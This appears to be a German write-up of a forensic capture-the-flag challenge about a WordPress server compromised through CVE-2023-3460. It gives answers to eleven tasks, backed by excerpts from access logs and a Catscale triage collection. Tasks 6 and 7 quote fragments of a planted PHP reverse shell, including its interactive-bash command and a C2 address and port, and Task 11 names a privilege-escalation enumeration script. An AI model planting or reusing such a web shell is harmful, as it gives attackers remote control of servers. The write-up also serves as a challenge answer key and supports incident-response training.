ultimatum

Veröffentlicht2024-05-16
Retired2024-11-07
AutorCyberJunkie

Szenario

Einer der Forela WordPress-Server war Ziel von berüchtigten Bedrohungsakteuren (TA). Auf der Website wurde ein Blog betrieben, der dem Forela Social Club gewidmet war, wo Forela-Mitarbeiter chatten und über verschiedene Themen diskutieren können. Leider wurde dieser Blog Ziel einer Bedrohungsgruppe. Das SOC-Team glaubt, dass dies auf ein anfälliges Plugin zurückzuführen ist, das im Blog verwendet wurde. Der IT-Administrator hat bereits das Akquisitions-Playbook befolgt und den Server für das Sicherheitsteam triagiert. Letztendlich ist es Ihre Verantwortung, den Vorfall zu untersuchen. Treten Sie ein, identifizieren Sie die Schuldigen hinter dem Angriff und stellen Sie diesen wichtigen Dienst innerhalb der Forela-Umgebung wieder her.


Task 01

Frage: Welches Sicherheits-Scan-Tool wurde vom Angreifer verwendet, um die Blog-Website zu fingerprinten?
Original: Which security scanning tool was utilized by the attacker to fingerprint the blog website?

Teil der Catscale Sammlung sind die apache2 Zugriffslogs im Ordner Logs\var\log\apache2\access.log Der Scan ist Teil dieser Requests, daher kann das verwendete Tool über den verwendeten User Agent in diesen Logs identifiziert werden:

5
    23.106.60.163 - - [08/Aug/2023:08:21:27 +0000] "GET / HTTP/1.1" 200 11596 "http://3.110.136.25/" "WPScan v3.8.24 (https://wpscan.com/wordpress-security-scanner)"

Antwort: wpscan/3.8.24


Task 02

Frage: Welche CVE wurde vom Angreifer ausgenutzt?
Original: Which CVE was exploited by the attacker?

Durch Ergebnisse anderer Tasks kann ein Rückschluss auf das angreifbare Plugin (Ultimate Member), sowie den verwendete Backdoor Benutzer (platziert durch einen public PoC) gefunden werden, dadurch lässt sich auch der CVE identifizieren.

Antwort: CVE-2023-3460


Task 03

Frage: Welche IP-Adresse wurde vom Angreifer verwendet, um die CVE auszunutzen?
Original: What was the IP Address utilized by the attacker to exploit the CVE?

Nach erfolgreicher Identifikation des Scans und der anschließenden Ausnutzung des gefundenen verwundbaren Plugins, kann die Ausnutzung von CVE-2023-3460 dank der bereits in Task 1 genutzten access.log eindeutig der gleichen IP zugeordnet werden:

2211
2212
2213
2214
    23.106.60.163 - - [08/Aug/2023:08:33:59 +0000] "GET //index.php/register/ HTTP/1.1" 301 295 "-" "Secragon Offensive Agent"
    23.106.60.163 - - [08/Aug/2023:08:33:59 +0000] "GET /index.php/register/ HTTP/1.1" 200 11367 "-" "Secragon Offensive Agent"
    23.106.60.163 - - [08/Aug/2023:08:33:59 +0000] "POST //index.php/register/ HTTP/1.1" 302 951 "-" "Secragon Offensive Agent"
    23.106.60.163 - - [08/Aug/2023:08:34:00 +0000] "GET /index.php/user/secragon/ HTTP/1.1" 200 14335 "-" "Secragon Offensive Agent"

Antwort: 23.106.60.163


Task 04

Frage: Wie lautet der Name des Backdoor-Benutzers, der im Rahmen des Exploitationsprozesses dem Blog hinzugefügt wurde?
Original: What is the name of the backdoor user added to the blog as part of the exploitation process?

Durch Prüfung des in Task 2 identifizierten öffentlichen Exploits und Abgleich mit dem access.log kann der als Backdoor installierte Benutzer eindeutig zugeordnet werden.

2214
    23.106.60.163 - - [08/Aug/2023:08:34:00 +0000] "GET /index.php/user/secragon/ HTTP/1.1" 200 14335 "-" "Secragon Offensive Agent"

Antwort: secragon


Task 05

Frage: Nach dem Exploit stellte das SOC-Team fest, dass sich die IP-Adresse des Angreifers änderte. Aus den Logs geht hervor, dass der Angreifer die Website manuell erkundete, nachdem er sich eingeloggt hatte. Das SOC-Team glaubt, dass die vorher bei der Ausnutzung gesehene IP eine öffentliche Cloud-IP war. Welche IP-Adresse verwendete der Angreifer, nachdem er sich auf der Website eingeloggt hatte? Original: After the exploit, the SOC team observed that the attacker’s IP address changed and from the logs, it seems that the attacker manually explored the website after logging in. The SOC team believes that the previous IP seen during exploitation was a public cloud IP. What is the IP Address the attacker used after logging in to the site?

Unmittelbar nach der Platzierung des neuen Benutzers finden Zugriffe mit einer anderen IP statt. Diese und folgende Zugriffe in der access.log deuten auf bösartiges Verhalten (sie greift zb. auf die platzierte Web-Shell zu), sie wird daher ebenfalls dem Angreifer zugeordnet:

2768
    198.16.74.45 - - [08/Aug/2023:08:58:20 +0000] "GET /wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,site-health,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-poi&load%5Bchunk_1%5D=nter,widgets,site-icon,l10n,buttons,wp-auth-check&ver=6.2.2 HTTP/1.1" 200 81088 "http://3.110.136.25/wp-admin/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0"

Antwort: 198.16.74.45


Task 06

Frage: Das SOC-Team hat den Verdacht, dass der Angreifer eine Webshell für persistente Zugriffe hinzugefügt hat. Bestätigen Sie den vollständigen Pfad der Webshell auf dem Server.
Original: The SOC team has suspicions that the attacker added a web shell for persistent access. Confirm the full path of the web shell on the server.

Catscale ermittelt selbstständig Dateien mit der Dateiendung jsp, asp, aspx und php um die Suche nach Web Shells zu erleichtern. Die ersten 1000 Zeilen jeder dieser Dateien wird in Misc\ip-172-31-11-131-20230808-0937-pot-webshell-first-1000.txt abgelegt.

656375
656376
656377
656378
    ==> /var/www/html/wp-content/themes/twentytwentythree/patterns/hidden-comments.php <==
    <?php
    // php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
    // Copyright (C) 2007 [email protected]

Antwort: /var/www/html/wp-content/themes/twentytwentythree/patterns/hidden-comments.php


Task 07

Frage: Was war der Wert der $shell-Variable in der Webshell?
Original: What was the value of the $shell variable in the web shell?

Teil der in Task 06 gefundenen Web Shell ist auch die gesuchte Variable. Deren Inhalt kann dank der zuvor erwähnten Datei ermittelt werden.

656385
656386
656387
656388
656389
    $write_a = null;
    $error_a = null;
    $shell = 'uname -a; w; id; /bin/bash -i';
    $daemon = 0;
    $debug = 0;

Antwort: 'uname -a; w; id; /bin/bash -i';


Task 08

Frage: Wie groß ist die Webshell in Bytes?
Original: What is the size of the webshell in bytes?

Um die größe der identifizieren Datei zu ermitteln hilft eine weitere zusammenfassende Datei die Catscale erzeugt: In ip-172-31-11-131-20230808-0937-full-timeline.csv wird das gesamte erfasste Verhalten in einer Timeline in CSV Form erfasst. Teil davon ist auch die Erstellung der Web Shell und deren Größe

0
    Inode,Hard link Count,Full Path,Last Access,Last Modification,Last Status Change,File Creation,User,Group,File Permissions,File Size(bytes)

[…]

    267656,1,/var/www/html/wp-content/themes/twentytwentythree/patterns/hidden-comments.php,2023-08-08 08:58:02.856871375 +0000,2023-08-08 08:58:02.816872892 +0000,2023-08-08 08:58:02.816872892 +0000,-,www-data,www-data,-rw-r--r--,2592

Antwort: 2592


Task 09

Frage: Das SOC-Team glaubt, dass der Angreifer die Webshell genutzt hat, um RCE auf dem Server zu erhalten. Können Sie die C2-IP und den Port bestätigen?
Original: The SOC team believes that the attacker utilized the webshell to get RCE on the server. Can you confirm the C2 IP and Port?

In der hidden-comments.php befindet sich auch die Konfiguration für den C2 Server.

656381
656382
656383
$VERSION = "1.0";
$ip = '43.204.24.76';
$port = 6969;

Antwort: 43.204.24.76:6969


Task 10

Frage: Wie lautet die Prozess-ID des Prozesses, der dem Bedrohungsakteur (TA) praktischen Zugriff auf den Server ermöglichte?
Original: What is the process ID of the process which enabled the Threat Actor (TA) to gain hands-on access to the server?

Dank der in Task 09 ermittelten IP und Port für den C2 Server, kann in den aktiven Netzwerk Verbindungen auch dank der zusammenfassenden ip-172-31-11-131-20230808-0937-ss-anepo.txt Datei von Catscale auch der zugehörige Prozess identifiziert werden:

    tcp  ESTAB  0  0  172.31.11.131:60380  43.204.24.76:6969  users:(("bash",pid=234521,fd=12),("sh",pid=234517,fd=12),("apache2",pid=234471,fd=12)) uid:33 ino:1532880 sk:b <->

Antwort: 234521


Task 11

Frage: Wie lautet der Name des Skripts/Tools, das im Rahmen der internen Aufzählung und der Suche nach Privilegieneskalationspfaden auf dem Server verwendet wurde?
Original: What is the name of the script/tool utilized as part of internal enumeration and finding privilege escalation paths on the server?

Catscale gibt eine Sammlung aller Dateien die Ausführbar sind in ip-172-31-11-131-20230808-0937-exec-perm-files.txt aus. Eine dieser Dateien fällt auf, da sie sich im /tmp/ Verzeichnes befindet und einen bekannten Dateinamen für ein Recon Script hat:

868
26bbf01183c7aacf331f9ecdf694d44122e1a089  /tmp/systemd-private-d9287ecaa4c343bfbd0341e9b66e0697-apache2.service-x0W7Fg/tmp/LinEnum.sh

Ein Abgleich mit der Prüfsumme der öffentlich verfügbaren Datei zeigt, das es sich hierbei um genau dieses Script in unveränderter Form handelt.

	Get-FileHash .\LinEnum.sh -Algorithm sha1 | Select-Object Hash                  
	Hash
	----
	26BBF01183C7AACF331F9ECDF694D44122E1A089

Antwort: LinEnum.sh